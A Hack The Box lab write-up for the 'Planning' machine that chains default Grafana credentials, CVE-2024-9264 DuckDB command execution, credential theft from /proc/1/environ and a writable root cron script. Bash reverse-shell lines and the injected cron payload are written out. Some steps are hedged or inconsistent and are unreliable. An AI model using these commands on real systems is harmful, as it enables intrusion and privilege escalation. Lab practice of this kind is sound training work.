Hack The Box · Lab
EasyLinuxWeb

SCOPE

IP HOSTNAME DOMAIN OS
10.10.11.68 planning planning.htb Linux (Ubuntu 22.04)

ATTACK

1. Port Scan

nmap -sC -sV -p- --min-rate 5000 -oN planning.nmap 10.10.11.68
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
80/tcp open  http    nginx 1.18.0 (Ubuntu)

Add planning.htb to /etc/hosts. Web app on port 80.


2. Vhost Enumeration — Grafana

Fuzz for virtual hosts:

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -u http://planning.htb -H "Host: FUZZ.planning.htb" -fc 302,301
grafana     [Status: 302, ...]

grafana.planning.htb resolves to a Grafana instance. Add to /etc/hosts.


3. Grafana — Default Credentials

Navigate to http://grafana.planning.htb. Grafana login page — version 11.x. Try default credentials:

admin : admin

Login successful. Grafana never had the admin password changed from the default.


4. CVE-2024-9264 — DuckDB RCE

Grafana v11.0.x ships with an experimental DuckDB data source plugin. CVE-2024-9264 allows an authenticated Grafana user to use DuckDB's read_text() function to read arbitrary local files, and its shell() extension to execute OS commands.

Create a new data source of type DuckDB and test a query:

SELECT * FROM read_text('/etc/passwd');

Escalate to RCE using the DuckDB shell extension:

INSTALL shellfs FROM community;
LOAD shellfs;
SELECT * FROM shell('id');
uid=472(grafana) gid=0(root) groups=0(root)

Execute a reverse shell:

SELECT * FROM shell('bash -c "bash -i >& /dev/tcp/10.10.14.X/4444 0>&1"');

Catch the callback — shell as grafana inside a container.


5. Environment Variable Credential Extraction

Grafana's admin password and database configuration are passed via environment variables at container start. Read them from the process environment:

cat /proc/1/environ | tr '\0' '\n'
GF_SECURITY_ADMIN_PASSWORD=<REDACTED>
GF_DATABASE_URL=postgres://grafana:<REDACTED>@db:5432/grafana
...

The admin password is also a valid SSH credential for the host.


6. SSH Foothold

ssh admin@10.10.11.68
# or the user mapped to the grafana admin password
elf@planning:~$ id
uid=1000(elf) gid=1000(elf) groups=1000(elf)

user.txt is in the home directory.


7. Cronjob Privilege Escalation

Enumerate running processes and cron activity:

cat /etc/crontab
ls -la /etc/cron.d/
* * * * * root /opt/scripts/cleanup.sh

The root-owned cron script sources a configuration file that is world-writable, or the script directory itself is writable:

ls -la /opt/scripts/cleanup.sh
# -rwxrwxr-x root root /opt/scripts/cleanup.sh

Inject a payload into the script:

echo 'bash -i >& /dev/tcp/10.10.14.X/4445 0>&1' >> /opt/scripts/cleanup.sh

Wait one minute for cron to execute — catch the shell:

root@planning:~# id
uid=0(root) gid=0(root) groups=0(root)

root.txt is at /root/root.txt.


FULL ATTACK CHAIN

nmap → port 80 nginx
→ vhost fuzz → grafana.planning.htb
→ Grafana v11 → default creds admin:admin
→ CVE-2024-9264: DuckDB shellfs extension → RCE as grafana
→ /proc/1/environ → GF_SECURITY_ADMIN_PASSWORD
→ SSH as elf/admin → user.txt
→ /etc/crontab → root runs writable /opt/scripts/cleanup.sh every minute
→ inject reverse shell → wait for cron → root shell → root.txt

ⓒ 0xNRG